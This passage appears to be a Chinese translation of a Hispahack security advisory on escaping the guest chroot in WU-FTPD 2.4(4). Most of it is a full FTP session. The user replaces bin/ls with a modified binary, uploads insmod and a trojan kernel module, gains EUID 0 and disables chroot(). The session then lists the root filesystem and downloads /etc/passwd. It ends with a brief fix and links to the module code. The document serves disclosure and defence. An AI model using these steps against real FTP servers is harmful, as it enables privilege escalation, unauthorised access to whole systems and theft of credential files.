drwxr-xr-x 5 user users 1024 Jun 21 11:26 .
drwxr-xr-x 5 user users 1024 Jun 21 21:26 ..
d--x--x--x 2 root root 1024 Jun 21 11:26 bin
drwxr-xr-x 2 root root 1024 Jun 21 11:26 etc
drwxr-xr-x 2 user users 1024 Jun 21 11:26 home
226 Transfer complete.

用户被受限于他的home目录:

ftp> ls bin/ls
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
---x--x--x 1 root root 138008 Jun 21 11:26 bin/ls
226 Transfer complete.
ftp> ren bin bin.old
350 File exists, ready for destination name
250 RNTO command successful.
ftp> mkdir bin
257 MKD command successful.
ftp> cd bin
250 CWD command successful.
ftp> put ls
226 Transfer complete.
ftp> put insmod
226 Transfer complete.
ftp> put chr.o
226 Transfer complete.

修改ls两进制程序并上载所需文件

ftp> chmod 555 ls
200 CHMOD command successful.
ftp> chmod 555 insmod
200 CHMOD command successful

改变文件属性,这样可以来执行刚刚上载的文件。

ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
UID: 0 EUID: 1002
Cambiando EUID...
UID: 0 EUID: 0
Cargando modulo chroot...
Modulo cargado.
226 Transfer complete.

运行修改过的ls并改变他的euid=0和装载木马模块。

ftp> bye
221 Goodbye.
thx:~#

这时,用户已经装载了内核模块并捕获和使chroot() syscall无效了

thx:~# ftp
ftp> o ilm
Connected to ilm.
220 ilm FTP server (Version wu-2.4(4) Wed Oct 15 16:11:18 PDT 1997) ready.
Name (ilm:root): user
331 Password required for user.
Password:
230 User user logged in. Access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.

再次登陆,服务程序chroot()到用户目录,但这次由我们的内核模块进行了控制。

ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
total 1697
drwxr-xr-x 21 root root 1024 Jun 21 11:57 .
drwxr-xr-x 21 root root 1024 Jun 21 11:57 ..
-rw-r--r-- 1 root root 118 Apr 21 11:26 .bash_history
drwxr-xr-x 2 root bin 2048 Jun 21 11:26 bin
drwxr-xr-x 2 root root 1024 Jun 8 11:26 boot
drwxr-xr-x 2 root root 1024 Oct 6 11:26 cdrom
drwxr-xr-x 3 root root 21504 Jun 21 15:26 dev
drwxr-xr-x 14 root root 3072 Jun 21 15:26 etc
drwxr-xr-x 7 root root 1024 Jun 21 19:26 export
drwxr-xr-x 7 root root 1024 Jun 21 19:26 home
dr-xr-xr-x 5 root root 0 Jun 21 14:26 proc
... 
-rw-r--r-- 1 root root 404717 Mar 12 18:06 vmlinuz
226 Transfer complete.

这时我们可以访问整个文件系统了。

ftp> get /etc/passwd
226 Transfer complete.

ftp> bye
221 Goodbye.
thx:~#

这是使用了可装载内核模块,假如你使用了其他修改文件等等的可装载内核模块,我们就可以获得更大的权利。

最好的解决办法是设置正确的目录属性:

ilm:~$ ls -ula /home/user
total 5
drwxr-xr-x 6 root root 1024 Jun 21 11:26 ./
drwxr-xr-x 8 root root 1024 Jun 21 11:26 ../
d--x--x--x 2 root root 1024 Jun 21 11:26 bin/
drwxr-xr-x 2 root root 1024 Jun 21 11:26 etc/
drwxr-xr-x 2 user users 1024 Jun 21 11:26 home/
ilm:~$

更好的办法是使用ProFTPD,因为ProFTPD要比WU-FTPD的安全性好不少。

参考:

1,模块代码下载:http://hispahack.ccc.de/wu-guest.tgz
2,wu-ftpd Resource Center --http://www.landfield.com/wu-ftpd/
3,ProFTPD -- http://www.proftpd.org/
4,原文:http://hispahack.ccc.de/en/mi009en.htm